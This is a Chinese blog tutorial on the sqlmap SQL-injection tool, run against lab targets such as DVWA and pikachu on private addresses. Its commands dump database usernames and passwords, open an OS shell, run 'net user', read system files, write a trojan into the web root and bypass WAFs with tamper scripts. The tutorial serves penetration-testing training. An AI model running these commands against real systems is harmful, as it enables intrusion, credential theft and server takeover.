SQLMAP的使用

本文详细介绍了SQLMAP的使用方法,包括基础的URL注入、设置cookie、调整测试级别和风险等级、显示注入payload、批量注入以及指定参数注入。还探讨了如何进行POST注入、自动填充表单、智能判断注入、获取数据库信息以及执行命令。此外,讲解了针对WAF的绕过策略,并列举了多种tamper脚本的作用。内容全面,适合SQL注入测试初学者及进阶者参考。
摘要由CSDN通过智能技术生成

SQLMAP的使用

SQLMAP的基本使用

(一)基本使用

1、指定url -u
sqlmap.py -u "http://192.168.75.4:8011/news_view.asp?id=10"
# 这个是最基本的检测该url是否存在注入的语句,当然这里是使用get方式提交的,如果这里的url不是以get方式提交的,他是没有办法检测出post注入注入点的

输入上述语句会出现下面的提示

# you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDQAAQAACT=NHOLFAPAHKN...ONMOAAEFCK'). Do you want to use those [Y/n]
#执行这个语句首先会提示你未指定cookie,工具将会自己构造一个cookie,询问是否使用?这里基本用法可以用y,但是在有些登陆后才展现的页面就需要指定cookie
# [15:11:31] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
# are you sure that you want to continue with further target testing? [Y/n]
# 这个的意思是检测到目标站点有安全防护设备/脚本,是否继续检测 y继续

# GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
# 检测到id处可能存在输入点,是否查找其他注入点。
2、指定cookie --cookie
sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD"

# --cookie "cookie内容就可以指定cookie"
# 获取cookie可以有很多方法,例如使用burp抓包,拿到当前会话的cookie;使用浏览器自带的f12查看会话信息也能获取cookie
3、提升检测的级别
  • –-level 执行测试等级(1-5,默认为1)

    sqlmap使用的payload可以在xml/payloads.xml中看到。默认为1,2:检测cookie中的参数,3:检查user-agent和referer的参数(常用);4:;5:会自动破解出cookie、XFF等头部注入;等级越高包含的payload越多,但相应的检测速度就越慢。

  • –risk 执行测试的风险级别(1-3,默认为1)

    1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试

    sqlmap.py -u "http://192.168.75.4:9500/pikachu/vul/sqli/sqli_header/sqli_header_login.php" --cookie "PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMG" --level=3 --risk=3
    
4、显示注入payload -v

-v 显示信息的级别(0-6),其中,0只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);2同时显示debug信息;3同时显示注入的payload;4同时显示HTTP请求;5同时显示HTTP响应头;6同时显示HTTP响应

sqlmap.py -v 3 -u "http://192.168.75.4:8011/news_view.asp?id=10" 
5、批量注入 -m

先将需要测试的url写入到一个.txt文件中,然后直接读取该文件进行注入即可

sqlmap.py -m "d:\test.txt"
6、指定参数注入 -p
sqlmap.py -u "http://192.168.75.4:8011/news_view.asp?id=10" -p id
7、post注入
  • 注入方法

    • 通过burp,抓取到数据包并复制到一个txt文件中,然后-r+文件路径即可进行post注入
  • 命令

    sqlmap.py -r "d:\test.txt"
    

(二)进阶使用

1、自动填写表单
sqlmap.py -u "http://192.168.75.4:9500/pikachu/vul/sqli/sqli_str.php" -forms
# 会提示你是否采用他们默认创建的表单还是自行输入表单信息。
2、自动判断注入
sqlmap.py -u "http://192.168.75.4:9500/pikachu/vul/sqli/sqli_str.php" -batch-smart 
3、获取数据库信息的常用参数
  • 当前数据库类型

    sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD"--dbs
    
  • 当前数据库用户

    sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD" --current-user
    
  • 当前数据库名

    sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD" --current-db
    
  • 当前数据库用户类型,是否为管理员

    sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD" --is-db
    
  • 列出数据库所有用户

    sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD" --users
    
  • 列出当前数据库的表

    sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD" -D dvwa --tables
    
  • 列出当前表的列名

    sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD" -D dvwa -T users --columns
    
  • 列出当前表的相应字段内容

    sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD" -D dvwa -T users -C username,password --dump
    

(三)cookie注入

sqlmap.py -u "http://192.168.75.4:9500/pikachu/vul/sqli/sqli_header/sqli_header_login.php" --cookie "ant[uname]=admin" --level 2 --dbs
# 

(四)命令执行


# 创建与系统交互的shell窗口
sqlmap.py -u "http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1" --os-shell
# 执行cmd的命令
sqlmap.py -u "http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1" --os-cmd "net user"
# 尝试读取服务器中的配置文件
sqlmap.py -u "http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1" --file-read "/etc/password" # Linux中读取文件
sqlmap.py -u "http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1" --file-read "c:\1.txt" 

# 尝试写一个木马程序到web目录,前提是需要当前数据库用户需要有管理员权限(即写的权限),然后才尝试写入文件
sqlmap.py -u "http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1" --is-db # 返回为true即为管理权限
sqlmap.py -u "http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1" --file-write "d:/1.txt" --file-dest "c:/www/1.txt"
# 可以将木马脚本写在本地中,然后上传到网站路径下。

(五)绕过waf

sqlmap中的temper目录中,有可以使用的绕过waf的脚本,可以直接引用

sqlmap.py -u "http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1" --tamper "脚本名称"
# 可以根据需要修改py脚本中的正则匹配的参数

tamper脚本作用汇总

  • 支持所有数据库

    编号脚本名称作用
    1apostrophemask.py用utf8代替引号
    2base64encode.py用base64编码替换
    3multiplespaces.py围绕SQL关键字添加多个空格
    4space2plus.py用+替换空格
    5nonrecursivereplacement.py双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、”")) filters
    6space2randomblank.py代替空格字符(“”)从一个随机的空 白字符可选字符的有效集
    7unionalltounion.py替换UNION ALL SELECT UNION SELECT
    8securesphere.py追加特制的字符串
  • MSSQL数据库

    编号脚本名称作用
    1space2hash.py绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
    2equaltolike.pylike 代替等号
    3space2mssqlblank.py(mssql)空格替换为其它空符号
    4space2mssqlhash.py替换空格
    5between.py用between替换大于号(>)
    6percentage.pyasp允许每个字符前面添加一个%号
    7sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
    8charencode.pyurl编码
    9randomcase.py随机大小写
    10charunicodeencode.py字符串 unicode 编码
    11space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’
  • MySQL数据库

    编号脚本名称作用
    1equaltolike.pylike 代替等号
    2greatest.py绕过过滤’>’ ,用GREATEST替换大于号。
    3apostrophenullencode.py绕过过滤双引号,替换字符和双引号。
    4ifnull2ifisnull.py绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
    5space2mssqlhash.py替换空格
    6modsecurityversioned.py过滤空格,包含完整的查询版本注释
    7space2mysqlblank.py空格替换其它空白符号(mysql)
    8between.py用between替换大于号(>)
    9modsecurityzeroversioned.py包含了完整的查询与零版本注释
    10space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
    11bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
    12percentage.pyasp允许每个字符前面添加一个%号
    13charencode.pyurl编码
    14randomcase.py随机大小写
    15versionedkeywords.pyEncloses each non-function keyword with versioned MySQL comment
    16space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’
    17charunicodeencode.py字符串 unicode 编码
    18versionedmorekeywords.py注释绕过
    19halfversionedmorekeywords.py关键字前加注释
    20halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加 mysql版本评论
    21space2morehash.py空格替换为 #号 以及更多随机字符串 换行符
  • Oracle数据库

    编号脚本名称作用
    1greatest.py绕过过滤’>’ ,用GREATEST替换大于号。
    2apostrophenullencode.py绕过过滤双引号,替换字符和双引号。
    3between.py用between替换大于号(>)
    4charencode.pyurl编码
    5randomcase.py随机大小写
    6charunicodeencode.py字符串 unicode 编码
    7space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’
  • PostgreSQL数据库

    编号脚本名称作用
    1greatest.py绕过过滤’>’ ,用GREATEST替换大于号。
    2apostrophenullencode.py绕过过滤双引号,替换字符和双引号。
    3between.py用between替换大于号(>)
    4percentage.pyasp允许每个字符前面添加一个%号
    5charencode.pyurl编码
    6randomcase.py随机大小写
    7charunicodeencode.py字符串 unicode 编码
    8space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’
  • Access

    编号脚本名称作用
    1appendnullbyte.py在有效负荷结束位置加载零字节字符编
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

四粒和七喜呀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值